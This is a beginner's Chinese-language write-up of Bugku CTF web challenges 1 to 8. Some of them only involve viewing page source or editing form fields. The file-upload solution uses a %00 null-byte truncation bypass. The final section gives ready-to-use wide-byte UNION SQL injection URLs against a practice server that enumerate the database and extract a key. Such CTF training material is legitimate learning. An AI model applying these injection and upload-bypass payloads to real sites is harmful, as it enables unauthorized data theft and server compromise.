bugku web题1~8 write up
第一次写博
web2
打开网页是一个不断加快的动画,没有特别的线索。
右键查看元素,结果flag就在body注释里,如图:
ps:感觉这题收获不大,也许可以理解一下这题的js代码,就当是学js了
p:考察右键查看源码
文件上传测试
测试:需要上传php文件才能得到flag,但是只允许上传图片文件
思路:使用%00截断上传文件
流程:构造文件名为1.php.jpg的文件上传用burp抓包(如图):
修改文件名:在.php之后加上%00截断,进行url解码还原为空字符,提交得到flag
解码前:解码后:
p:文件上传漏洞
计算器
打开网页显示界面如下:
尝试输入答案,发现表单输入长度为1
思路:通过元素修改输入框的maxlenth属性,输入计算结果提交,得到flag。(如图)
p:利用F12修改元素
web基础$_GET
打开页面得到以下代码:
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
简单来说就是通过get传入参数:what=flag
得到flag
p:了解get
web基础$_POST
打开页面得到以下代码:
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
解析:通过get传入参数:what=flag
得到flag(post传参可使用火狐插件hackbar)
p:了解post
矛盾
打开页面得到以下代码:
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
代码解析:
函数:is_numeric()
is_numeric() — 检测变量是否为数字或数字字符串
语法:bool is_numeric ( mixed $var )
如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。
逻辑:
通过get传入参数num,要得到flag,num不能是数字或数字字符串,且num==1
很明显两个条件是矛盾的
思路:
通过科学计数法表示1,因为科学计数法不是纯数字又可以等于一。
php科学计数法格式:系数e+指数
例: 1000==1e+3 1234=1.234e+3 1=1e+0
传入num=1e+0 得到flag
p:科学计数法绕过
web3
打开页面不断出现弹框,禁用弹框后,查看元素。
发现script标签里有这样一行代码:
<!--KEY{J2sa42ahJK-HS11III}-->
感觉是unicode编码:尝试解码(可用站长工具,网上直接搜就行)
解码得到flag
这里有一个疑问:
&# + 十进制 和 &#x + 十六进制 似乎都是表示unicode编码
额,我是这样理解的,不知道对不对
p:右键产看script,unicode码
sql注入
打开页面如图:
要求查询key表,id=1的string字段
测试:单引号 双引号 返回正常,应该进行了转义,查看网页元素发现使用gb2312编码
那就尝试一下宽字节注入:
http://103.238.227.13:10083/?id=1%bf‘–+
http://103.238.227.13:10083/?id=1%bf’ and 1=1–+
http://103.238.227.13:10083/?id=1%bf’ and 1=2–+
不加注释报错,加注释返回正常,存在逻辑判断,存在注入
判断字段数:
http://103.238.227.13:10083?id=1%bf’ order by 2–+
判断回显点:
http://103.238.227.13:10083?id=0%bf’ union select 1,2–+
查数据库:
http://103.238.227.13:10083?id=0%bf’ union select database(),2–+
数据库:sql5
结合题目获取flag:
http://103.238.227.13:10083?id=0%bf’ union select string,2 from sql5.key–+
得到flag
p:宽字节注入
(*有借鉴他人write up)